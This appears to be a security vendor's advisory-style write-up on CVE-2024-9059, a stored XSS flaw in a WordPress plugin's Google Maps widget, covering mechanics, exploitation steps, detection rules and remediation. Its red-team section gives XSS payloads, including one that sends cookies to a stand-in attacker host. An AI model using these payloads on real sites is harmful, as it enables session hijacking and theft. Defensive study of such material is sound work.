CVE-2024-9059

Executive Summary

CVE-2024-9059 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress, affecting all versions up to and including 1.7.1001. The flaw resides in the Google Maps widget due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using this plugin, potentially leading to session hijacking, defacement, or data theft.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Royal Elementor Addons plugin is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Users should verify the plugin version and apply any available updates from the WordPress admin dashboard or vendor site.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the potential for widespread exploitation via stored payloads.

Deep Dive & Mechanics

The vulnerability exists in the Google Maps widget of the Royal Elementor Addons plugin. The widget fails to properly sanitize user-supplied input (e.g., map marker titles, descriptions, or custom attributes) before storing it in the WordPress database. When the widget is rendered on a page, the unsanitized data is output without proper escaping, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a page using the Royal Elementor Addons Google Maps widget.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a widget field that is not sanitized.
3. The payload is stored in the database.
4. When any user (including administrators) visits the page, the script executes in their browser context.

Root Cause: Insufficient input validation and output escaping in the widget's rendering logic. The plugin likely uses echo or print without applying WordPress's esc_html() or wp_kses() functions.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In vulnerable version, widget output might look like:
echo '<div class="map-marker" data-title="' . $marker_title . '">';
// $marker_title is not sanitized

Patched Code (Expected):

// Patched version should use:
echo '<div class="map-marker" data-title="' . esc_attr($marker_title) . '">';
// or use wp_kses_post() for rich content

Since no official patch is confirmed, users should monitor the plugin's changelog for updates.

Exploitation & Lab Setup

Red Team (Offensive)

1. Prerequisites: WordPress site with Royal Elementor Addons <= 1.7.1001, a Contributor-level account.

2. Steps:

   • Log in as Contributor.
   • Create a new page or edit an existing one.
   • Add the Google Maps widget.
   • In a field like "Marker Title" or "Custom HTML", inject:

     <script>alert(document.cookie)</script>
     

   • Save and publish the page.
   • Visit the page to trigger the XSS.

3. Advanced Payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

Blue Team (Defensive)

1. Detection: Monitor for unusual widget content or script injections in page/post content.
2. Prevention:
   • Restrict Contributor-level access to trusted users only.
   • Use a Web Application Firewall (WAF) with XSS rules.
   • Apply the principle of least privilege.
3. Response: If compromised, remove malicious content from the database and rotate all user sessions.

Indicators of Compromise (IOCs)

• File Indicators: Modified plugin files (e.g., wp-content/plugins/royal-elementor-addons/).
• Network Indicators: Outbound connections to attacker-controlled domains from the WordPress server.
• Log Indicators: Suspicious entries in WordPress debug log or web server access logs showing script injection attempts.
• Database Indicators: Rows in wp_posts or wp_postmeta containing <script> tags or event handlers.

Detection Engineering

YARA Rule

rule CVE_2024_9059_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Royal Elementor Addons Google Maps widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9059"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-9059 Stored XSS in Royal Elementor Addons
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages via Royal Elementor Addons
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: GET
        http.url|contains: 
            - '/wp-content/plugins/royal-elementor-addons/'
        http.response.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widgets
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9059 Stored XSS in Royal Elementor Addons"; flow:to_server,established; content:"/wp-content/plugins/royal-elementor-addons/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Royal Elementor Addons plugin until a patch is available.
2. Short-term: Restrict Contributor-level accounts to trusted users only. Use a WAF to block XSS attempts.
3. Long-term: Apply the vendor patch when released. Update to the latest version of the plugin.
4. Workaround: If the plugin is essential, manually sanitize the Google Maps widget output by editing the plugin files (not recommended for non-developers).

Valters IT
Securing Digital Frontiers